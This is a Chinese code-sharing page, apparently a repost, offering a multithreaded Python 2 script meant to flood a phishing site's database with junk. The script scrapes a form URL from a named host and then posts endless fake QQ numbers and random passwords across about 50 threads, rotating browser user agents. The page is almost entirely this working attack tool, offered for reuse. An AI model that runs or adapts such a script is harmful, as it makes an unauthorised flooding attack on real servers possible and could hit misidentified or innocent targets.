向某钓鱼网站数据库注入大量垃圾信息(多线程)
发布时间:2020-05-24 23:53:57 所属栏目:Python 来源:互联网
导读:向某钓鱼网站数据库注入大量垃圾信息(多线程)
|
下面是脚本之家 jb51.cc 通过网络收集整理的代码片段。 脚本之家小编现在分享给大家,也给大家做个参考。 #!/usr/bin/env python
import urllib
import urllib2
import random
import string
import threading
import time
import re
origin_url = "http://images.smoka.com.cn/pnrn.js?hs"
#post_url = "http://m.shandashi.com.cn/index.php?qNyrDU2Qf"
referer_url = ""
thread_num = 0
lock = threading.Lock()
ua_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/39.0.2171.95 Safari/537.36","Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)","Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0"
]
def get_post_url():
re_http = re.compile(r""(http://.+?)"")
req = urllib2.Request(origin_url,headers=gen_headers())
response = urllib2.urlopen(req)
the_page = response.read()
return re.search(re_http,the_page).group(1) + "qNyrDU2Qf"
def gen_password(length):
chars=string.ascii_letters+string.digits
return ''.join([random.choice(chars) for i in range(length)])
def gen_post_param():
qq_num = random.randint(11111111,9999999999)
qq_pass = gen_password(random.randrange(8,13))
print "QQ_num: " + str(qq_num)
print "QQ_pass: " + qq_pass
return {
"LYnj9ayHWqpdCy": None,"wobBwZXimLLqoRu": None,"x": 52,"y": 17,"OvQ3XtQjH6XMnvo2t": 1,"SeI0EHa3Owj4QmsDjW": qq_num,"ZkI69riJ4OyK9LpHKtO": qq_pass
}
def gen_post_data():
return urllib.urlencode(gen_post_param())
def gen_headers():
ua = random.choice(ua_list)
print "UA: " + ua
return {
"User-Agent": ua,"Referer": referer_url
}
def do_request():
global thread_num
with lock:
thread_num += 1
try:
req = urllib2.Request(post_url,gen_post_data(),gen_headers())
response = urllib2.urlopen(req,timeout=5)
code = response.getcode()
print "Return Code: " + str(code) + "n"
finally:
with lock:
thread_num -= 1
post_url = get_post_url()
print "post_url=" + post_url + "n"
threads = []
while True:
if thread_num <= 50:
t = threading.Thread(target=do_request)
t.start()
else:
time.sleep(0.01)
以上是脚本之家(jb51.cc)为你收集整理的全部代码内容,希望文章能够帮你解决所遇到的程序开发问题。 如果觉得脚本之家网站内容还不错,欢迎将脚本之家网站推荐给程序员好友。 (编辑:安卓应用网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
